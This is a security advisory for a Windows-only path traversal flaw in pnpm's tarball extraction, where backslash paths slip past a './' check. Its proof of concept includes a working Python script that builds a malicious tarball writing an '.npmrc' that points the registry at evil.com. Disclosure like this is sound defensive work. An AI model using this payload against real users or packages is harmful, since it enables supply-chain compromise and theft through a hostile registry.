GHSA-6x96-7vc8-cm3p

### Summary A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal.

**This vulnerability is Windows-only.**

### Details **1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**

```typescript if (fileName.includes('./')) { fileName = path.posix.join('/', fileName).slice(1) } ```

A path like `foo\..\..\.npmrc` does NOT contain `./` and bypasses this check.

**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**

- On Unix: Backslashes are literal filename characters (safe) - On Windows: Backslashes are directory separators (exploitable)

### PoC 1. Create a malicious tarball with entry `package/foo\..\..\.npmrc` 2. Host it or use as a tarball URL dependency 3. On Windows: `pnpm install` 4. Observe `.npmrc` written outside package directory

```python import tarfile, io

tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}' pkg_info = tarfile.TarInfo(name='package/package.json') pkg_info.size = len(pkg_json) tar.addfile(pkg_info, io.BytesIO(pkg_json))

malicious_content = b'registry=https://evil.com/\n' mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc') mal_info.size = len(malicious_content) tar.addfile(mal_info, io.BytesIO(malicious_content))

with open('malicious-pkg-1.0.0.tgz', 'wb') as f: f.write(tar_buffer.getvalue()) ```

### Impact - Windows pnpm users - Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps) - Can overwrite `.npmrc`, build configs, or other files

Verified on pnpm main @ commit 5a0ed1d45.